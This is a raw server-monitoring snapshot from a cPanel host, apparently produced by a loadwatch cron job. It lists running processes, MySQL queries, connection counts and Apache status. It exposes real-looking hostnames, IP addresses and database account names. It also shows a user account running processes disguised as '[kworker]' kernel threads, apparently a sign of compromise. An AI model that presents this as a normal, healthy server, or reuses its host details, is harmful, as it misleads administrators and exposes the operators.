root         12  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [watchdogd]
root         36  0.2  0.0      0     0 ?        S    10:16   0:09  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   10:16   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   10:16   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kthrotld]
root         48  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [kworker/u200:1]
root         49  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [deferwq]
root        104  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [kauditd]
root        240  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [ata_sff]
root        247  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [scsi_eh_0]
root        248  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [scsi_tmf_0]
root        249  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [scsi_eh_1]
root        250  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [scsi_tmf_1]
root        255  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [ttm_swap]
root        261  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kworker/0:1H]
root        266  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kworker/1:1H]
root        277  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [jbd2/vda3-8]
root        278  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [ext4-rsv-conver]
root        413  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [rpciod]
root        415  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [xprtiod]
root        577  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [kvm-irqfd-clean]
root        677  0.0  0.0      0     0 ?        S<   10:16   0:02  \_ [loop0]
root        714  0.0  0.0      0     0 ?        S    10:16   0:00  \_ [jbd2/loop0-8]
root        717  0.0  0.0      0     0 ?        S<   10:16   0:00  \_ [ext4-rsv-conver]
root      24213  0.0  0.0      0     0 ?        S    10:47   0:00  \_ [kworker/0:2]
root      35038  0.0  0.0      0     0 ?        S    11:00   0:00  \_ [kworker/u200:0]
root      40839  0.0  0.0      0     0 ?        S    11:08   0:00  \_ [kworker/1:0]
root      43121  0.0  0.0      0     0 ?        S    11:11   0:00  \_ [kworker/0:4]
root      44398  0.0  0.0      0     0 ?        S    11:14   0:00  \_ [kworker/1:1]
root      46725  0.0  0.0      0     0 ?        S    11:17   0:00  \_ [kworker/0:0]
root      48752  0.0  0.0      0     0 ?        S    11:21   0:00  \_ [kworker/1:3]
root      49447  0.0  0.0      0     0 ?        S    11:22   0:00  \_ [kworker/0:1]
root      50213  0.0  0.0      0     0 ?        S    11:23   0:00  \_ [kworker/0:3]
root      51048  0.0  0.0      0     0 ?        S    11:24   0:00  \_ [kworker/0:5]
root      53457  0.0  0.0      0     0 ?        S    11:27   0:00  \_ [kworker/1:2]
root          1  0.1  0.1  44424  3492 ?        Ss   10:16   0:06 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        358  0.0  0.2  39500  6788 ?        Ss   10:16   0:02 /usr/lib/systemd/systemd-journald
root        379  0.0  0.0  45352   488 ?        Ss   10:16   0:00 /usr/lib/systemd/systemd-udevd
root        409  0.0  0.0  55532   284 ?        S<sl 10:16   0:00 /sbin/auditd
dbus        488  0.0  0.0  58716  1428 ?        Ss   10:16   0:02 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
rpc         512  0.0  0.0  69256   172 ?        Ss   10:16   0:00 /sbin/rpcbind -w
root        518  0.0  0.0 152780   300 ?        Ss   10:16   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        520  0.0  0.0  24712  1304 ?        Ss   10:16   0:01 /usr/lib/systemd/systemd-logind
root        521  0.0  0.2 224148  6624 ?        Ss   10:16   0:00 queueprocd - waiting up to 60s to process a task
root        524  0.0  0.0  21540   496 ?        Ss   10:16   0:00 /usr/sbin/irqbalance --foreground
polkitd     525  0.0  0.0 612240  1080 ?        Ssl  10:16   0:00 /usr/lib/polkit-1/polkitd --no-debug
root        533  0.0  0.0  52852   400 ?        Ss   10:16   0:00 /usr/sbin/smartd -n -q never
nscd        535  0.0  0.0 928956  1500 ?        Ssl  10:16   0:02 /usr/sbin/nscd
root        540  0.0  0.0   4388   232 ?        Ss   10:16   0:00 /usr/sbin/acpid
root        542  0.0  0.0 195208   132 ?        Ssl  10:16   0:00 /usr/sbin/gssproxy -D
root        571  0.0  0.0 124480   560 ?        Ss   10:16   0:00 /usr/sbin/crond -n
root      53381  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53395  0.0  0.0 113284  1212 ?        Ss   11:27   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      53396  0.0  0.0 108052   360 ?        S    11:27   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      53397  0.0  0.0 113288  1516 ?        S    11:27   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      53466  0.0  0.0 153840  2096 ?        R    11:27   0:00  |               \_ ps auxf
root      53384  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53428  0.0  0.0  20164   804 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      53385  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53427  0.0  0.0  20164   808 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
root      53386  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53421  0.0  0.0  20164   804 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      53387  0.0  0.0 183048  2140 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53424  0.0  0.0  20164   804 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      53388  0.0  0.0 183048  2140 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53425  0.0  0.0  20164   984 ?        Ss   11:27   0:00  |   \_ jailshell (cloudsms) [53463] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
cloudsms  53463  0.0  0.0  20164   260 ?        S    11:27   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
cloudsms  53464  0.0  0.0 113284  1212 ?        S    11:27   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
cloudsms  53465  0.0  0.5 397280 12240 ?        R    11:27   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/cron/process_queue4.php
root      53389  0.0  0.0 183048  2140 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53420  0.0  0.0  20164   804 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      53390  0.0  0.0 183048  2140 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53419  0.0  0.0  20164   808 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      53391  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53417  0.0  0.0  20164   968 ?        Ss   11:27   0:00  |   \_ jailshell (pactpay) [53438] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   53438  0.0  0.0  20164   264 ?        S    11:27   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   53444  1.0  0.7 476724 17484 ?        S    11:27   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      53393  0.0  0.0 183048  2140 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      53422  0.0  0.0  20164   964 ?        Ss   11:27   0:00      \_ jailshell (nigeria) [53449] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   53449  0.0  0.0  20164   260 ?        S    11:27   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   53450  3.0  0.6 400652 15940 ?        S    11:27   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        574  0.0  0.0  24208    64 ?        Ss   10:16   0:00 /usr/sbin/atd -f
root        585  0.0  0.0 108296   248 tty1     Ss+  10:16   0:00 /sbin/agetty --noclear tty1 linux
root        586  0.0  0.0 114704   280 ttyS0    Ss+  10:16   0:00 /bin/bash
mailnull    615  0.0  0.1  89112  4012 ?        Ss   10:16   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        925  0.3 22.4 1763044 542660 ?      Ssl  10:16   0:13 /usr/local/cpanel/3rdparty/bin/clamd -F
named       931  0.0  1.2 711724 30416 ?        Ssl  10:16   0:02 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        933  0.0  0.1 445028  2804 ?        Ss   10:16   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
root        938  0.0  0.4 436392 11316 ?        Ss   10:16   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root        940  0.0  0.0 385496   776 ?        Ss   10:16   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
systuser    941  0.0  0.5 114016 13508 ?        Ssl  10:16   0:01 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
cpanelc+    945  0.0  0.1  10076  3028 ?        Ss   10:16   0:03 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        946  0.0  0.0 392856   832 ?        Ss   10:16   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
memcach+    948  0.0  0.0 342400   204 ?        Ssl  10:16   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
systuser    950  0.0  0.0  10132    48 ?        Ssl  10:16   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
systuser    952  0.0  0.0 112524  2088 ?        Ssl  10:16   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
systuser    957  0.0  0.0  14068    44 ?        Ssl  10:16   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
root        959  0.0  0.1 397344  3120 ?        Ss   10:16   0:00 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   53300  0.0  0.2 397064  5580 ?        S    11:26   0:00  \_ php-fpm: pool nigeriadecide_org
root        960  0.0  0.0 153404   476 ?        Ss   10:16   0:00 pure-ftpd (SERVER)
systuser    963  0.0  0.0 111608  1600 ?        Ssl  10:16   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root        988  0.0  0.0 386112   764 ?        Ss   10:16   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root        989  0.0  0.2 261164  6988 ?        Ss   10:16   0:01 cpsrvd (SSL) - waiting for connections                   
root      53366  0.0  0.0      0     0 ?        Z    11:26   0:00  \_ [cpaneld - servi] <defunct>
root        990  0.0  0.0 572372  1020 ?        Ssl  10:16   0:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
telegraf    991  0.0  1.6 5654048 38792 ?       SLsl 10:16   0:02 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        998  0.0  0.0 111304   616 ?        Ss   10:16   0:00 /usr/sbin/sshd -D
root      53349  0.0  0.2 157100  5076 ?        Ss   11:26   0:00  \_ sshd: unknown [priv]
sshd      53350  0.0  0.1 115644  2632 ?        S    11:26   0:00      \_ sshd: unknown [net]
root       1000  0.0  0.2 224592  6100 ?        Ssl  10:16   0:01 /usr/sbin/rsyslogd -n
root       1001  0.0  0.0  51508   672 ?        Ss   10:16   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1125  0.0  0.1  47048  2708 ?        S    10:16   0:00  \_ dovecot/pop3-login
dovenull   1126  0.0  0.1  47588  3452 ?        S    10:16   0:00  \_ dovecot/imap-login
dovecot    1127  0.0  0.0  10320   452 ?        S    10:16   0:00  \_ dovecot/anvil
root       1128  0.0  0.0  10452   580 ?        S    10:16   0:00  \_ dovecot/log
dovenull   1129  0.0  0.1  47052  2532 ?        S    10:16   0:00  \_ dovecot/pop3-login
dovenull   1130  0.0  0.1  47292  3160 ?        S    10:16   0:00  \_ dovecot/imap-login
root       1133  0.0  0.1  24556  2448 ?        S    10:16   0:00  \_ dovecot/config
dovecot    1137  0.0  0.0  13568   548 ?        S    10:16   0:00  \_ dovecot/stats
dovecot    1208  0.0  0.0  41056  1536 ?        S    10:16   0:00  \_ dovecot/auth
worencom  36075  0.0  0.1  38492  3260 ?        S    11:01   0:00  \_ dovecot/imap
root      53113  0.0  0.1  41052  2784 ?        S    11:26   0:00  \_ dovecot/auth -w
root       1147  0.0  4.9 248176 119668 ?       Ss   10:16   0:03 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       5511  0.0  5.5 267032 133364 ?       S    10:20   0:01  \_ spamd child
root       5512  0.0  5.2 261652 126864 ?       S    10:20   0:00  \_ spamd child
systuser   1164  0.0  0.1 157708  2948 ?        S    10:16   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1165  0.0  1.5 410452 36976 ?        Ss   10:16   0:03 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
wp-tool+   1166  0.0  0.5 387528 13196 ?        Ss   10:16   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
root       1236  0.0  0.2 183900  6448 ?        Ss   10:16   0:00 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       1239  0.0  0.4 209296 11996 ?        Ss   10:16   0:00 tailwatchd
root       1241  0.0  0.0 167452  1524 ?        Ss   10:16   0:00 dnsadmin - dormant mode
root       1631  0.0  0.0 299272  1016 ?        Ss   10:16   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1677  0.0  0.0 130416  1472 ?        SN   10:16   0:00 cpanellogd - sleeping for logs
mysql      1731  1.4  9.9 1458596 240188 ?      Sl   10:16   1:02 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       1979  0.0  0.3 267036  8032 ?        Ss   10:16   0:00 /usr/sbin/httpd -k start
root       1981  0.0  0.0  12804   524 ?        S    10:16   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1982  0.0  0.0  12732   444 ?        S    10:16   0:00  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1983  0.0  0.0  12816   488 ?        S    10:16   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1986  0.0  0.0  53268   268 ?        S    10:16   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    48005  0.1  0.7 277752 18888 ?        S    11:19   0:00  \_ /usr/sbin/httpd -k start
nobody    48355  0.1  0.7 277940 19120 ?        S    11:20   0:00  \_ /usr/sbin/httpd -k start
nobody    48713  0.1  0.7 277652 19336 ?        S    11:21   0:00  \_ /usr/sbin/httpd -k start
nobody    48770  0.1  0.7 277844 19012 ?        S    11:21   0:00  \_ /usr/sbin/httpd -k start
nobody    49578  0.1  0.7 277564 18792 ?        S    11:22   0:00  \_ /usr/sbin/httpd -k start
nobody    49592  0.1  0.7 277816 19148 ?        S    11:22   0:00  \_ /usr/sbin/httpd -k start
nobody    50157  0.1  0.7 277720 18972 ?        S    11:22   0:00  \_ /usr/sbin/httpd -k start
nobody    50300  0.1  0.7 277784 19224 ?        S    11:23   0:00  \_ /usr/sbin/httpd -k start
nobody    50664  0.1  0.7 277568 18408 ?        S    11:23   0:00  \_ /usr/sbin/httpd -k start
nobody    50830  0.1  0.7 277940 18716 ?        S    11:23   0:00  \_ /usr/sbin/httpd -k start
nobody    50948  0.1  0.7 277956 18864 ?        S    11:23   0:00  \_ /usr/sbin/httpd -k start
nobody    50954  0.1  0.7 277944 19104 ?        S    11:23   0:00  \_ /usr/sbin/httpd -k start
nobody    52071  0.1  0.7 277784 18656 ?        S    11:25   0:00  \_ /usr/sbin/httpd -k start
nobody    52810  0.1  0.7 277932 18412 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
nobody    52811  0.1  0.7 277816 18428 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
nobody    53009  0.1  0.7 277916 18100 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
nobody    53035  0.0  0.7 277504 17820 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
nobody    53253  0.0  0.7 277780 17900 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
root       1980  0.0  0.4 181360 10036 ?        Ss   10:16   0:03 lfd - sleeping
oysipao+  34743  0.0  0.0   3148   416 ?        Ss   11:00   0:00 [kworker]
oysipao+  34754  0.0  0.0   3152   424 ?        S    11:00   0:00  \_ [kworker]
root      35191  0.0  0.4 1276356 11264 ?       Ssl  11:00   0:00 /usr/bin/cspdaemon
root      35233  0.0  0.5 1277312 12240 ?       Ssl  11:00   0:00 /usr/bin/checkstatus
## mysql stats
Uptime: 4215  Threads: 3  Questions: 389467  Slow queries: 0  Opens: 2664  Flush tables: 1  Open tables: 2000  Queries per second avg: 92.400
*************************** 1. row ***************************
     Id: 4808
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 4811
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 4815
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.143.119 TIME_WAIT
      1 127.0.0.1 TIME_WAIT
      1 14.191.180.224 TIME_WAIT
      1 142.44.233.26 TIME_WAIT
      1 ::1 TIME_WAIT
      1 43.157.156.190 TIME_WAIT
      1 54.39.6.47 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Thursday, 13-Nov-2025 11:27:02 WAT
   Restart Time: Thursday, 13-Nov-2025 10:16:53 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 1 hour 10 minutes 9 seconds
   Server load: 0.09 0.21 0.35
   Total accesses: 19814 - Total Traffic: 471.5 MB - Total Duration: 9644592
   CPU Usage: u4.18 s2.3 cu252.51 cs199.78 - 10.9% CPU load
   4.71 requests/sec - 114.7 kB/second - 24.4 kB/request - 486.756 ms/request
   16 requests currently being processed, 0 workers gracefully restarting, 2 idle workers

K.KKK_KKKRKWKKW.K...KK._........................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc    M CPU   SS  Req  Dur   Conn  Child  Slot    Client     Protocol              VHost                                 Request
   0-0  53253 1/3/946   K 0.00 3    308 497474 33.7  0.04  23.19 66.249.70.196 http/1.1 schoolplus.cloudware.ng:80      GET /?p=3609438963 HTTP/1.1
   1-0  -     0/0/905   . 0.00 17   0   443485 0.0   0.00  23.39 ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   2-0  50157 1/56/1126 K 1.29 3    15  544853 4.5   1.53  25.16 66.249.66.192 http/1.1 farmrecords.staging.cloudware.n GET /cgi-sys/suspendedpage.cgi HTTP/1.1
   3-0  52810 1/15/967  K 0.36 1    362 442278 29.8  0.41  23.50 66.249.70.200 http/1.1 schoolplus.cloudware.ng:80      GET /?p=3435889379 HTTP/1.1
   4-0  48713 2/100/953 K 2.59 1    397 508838 61.9  2.70  25.68 66.249.70.194 http/1.1 schoolplus.cloudware.ng:80      GET /?p=3687038531 HTTP/1.1
   5-0  50300 0/65/1012 _ 1.71 0    361 453104 0.0   1.74  23.09 66.249.70.32  http/1.1 support.cloudware.ng:443        GET /?c=3474371351 HTTP/1.1
   6-0  50664 5/58/978  K 1.59 3    410 509643 155.4 1.54  23.12 66.249.70.196 http/1.1 schoolplus.cloudware.ng:80      GET /?p=3530140885 HTTP/1.1
   7-0  48005 1/111/830 K 2.87 0    466 423304 31.3  2.96  19.91 66.249.70.200 http/1.1 schoolplus.cloudware.ng:80      GET /?p=294949009 HTTP/1.1
   8-0  50830 7/61/991  K 1.62 0    347 466258 214.7 1.58  22.17 66.249.70.192 http/1.1 schoolplus.cloudware.ng:80      GET /?p=1634140001 HTTP/1.1
   9-0  49578 0/84/916  R 1.89 4    262 482593 0.0   2.01  24.07 66.249.70.38  http/1.1 support.cloudware.ng:443        GET /?c=1495630742 HTTP/1.1
   10-0 48355 1/113/849 K 3.00 0    324 416995 31.1  2.93  18.78 66.249.70.8   http/1.1 test.cloudware.ng:443           GET /?177165596?goodscode=0176934162 HTTP/1.1
   11-0 52071 8/27/910  W 0.73 0    0   429233 243.1 0.71  22.90 66.249.70.197 http/1.1 schoolplus.cloudware.ng:80      GET /?p=3868981824 HTTP/1.1
   12-0 52811 1/11/724  K 0.22 2    348 362801 29.1  0.28  16.97 66.249.70.198 http/1.1 schoolplus.cloudware.ng:80      GET /?p=2724380494 HTTP/1.1
   13-0 53009 4/7/828   K 0.15 4    401 420280 121.8 0.19  20.41 66.249.70.199 http/1.1 schoolplus.cloudware.ng:80      GET /?p=3938136649 HTTP/1.1
   14-0 48770 0/100/878 W 2.55 0    0   422993 0.0   2.49  20.64 ::1           http/1.1 chs1.nescrow.com.ng:80          GET //whm-server-status HTTP/1.0
   15-0 -     0/0/681   . 0.00 20   0   349738 0.0   0.00  16.61 ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   16-0 53035 1/6/843   K 0.11 3    3   402315 0.8   0.14  22.23 66.249.66.1   http/1.1 farmrecords.staging.cloudware.n GET /robots.txt HTTP/1.1
   17-0 -     0/0/466   . 0.00 132  0   231144 0.0   0.00  11.04 ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   18-0 -     0/0/563   . 0.00 159  0   232310 0.0   0.00  10.67 ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   19-0 -     0/0/680   . 0.00 177  0   315437 0.0   0.00  17.84 ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   20-0 49592 3/81/472  K 2.05 0    365 237823 90.3  2.00  10.32 66.249.70.199 http/1.1 schoolplus.cloudware.ng:80      GET /?p=250780966 HTTP/1.1
   21-0 50948 1/50/537  K 1.22 3    0   211083 0.8   1.17  9.57  66.249.66.1   http/1.1 farmrecords.staging.cloudware.n GET /robots.txt HTTP/1.1
   22-0 -     0/0/270   . 0.00 178  0   122346 0.0   0.00  4.66  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   23-0 50954 0/53/273  _ 1.32 0    0   143321 0.0   1.34  7.44  ::1           http/1.1 chs1.nescrow.com.ng:80          GET //whm-server-status HTTP/1.0
   24-0 -     0/0/294   . 0.00 21   0   150241 0.0   0.00  7.21  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   25-0 -     0/0/337   . 0.00 404  0   174157 0.0   0.00  8.94  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   26-0 -     0/0/322   . 0.00 412  0   121525 0.0   0.00  5.66  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   27-0 -     0/0/51    . 0.00 297  0   27549  0.0   0.00  1.14  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   28-0 -     0/0/53    . 0.00 823  0   23686  0.0   0.00  1.17  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   29-0 -     0/0/59    . 0.00 1781 0   30195  0.0   0.00  1.44  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   30-0 -     0/0/2     . 0.00 1794 0   1      0.0   0.00  0.00  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   31-0 -     0/0/97    . 0.00 1405 0   47572  0.0   0.00  2.61  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
   32-0 -     0/0/1     . 0.00 3954 0   0      0.0   0.00  0.00  ::1           http/1.1 chs1.nescrow.com.ng:80          OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 752
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 13 seconds, (range: 2...84)
   index usage: 13%, cache usage: 18%
   total entries stored since starting: 7439
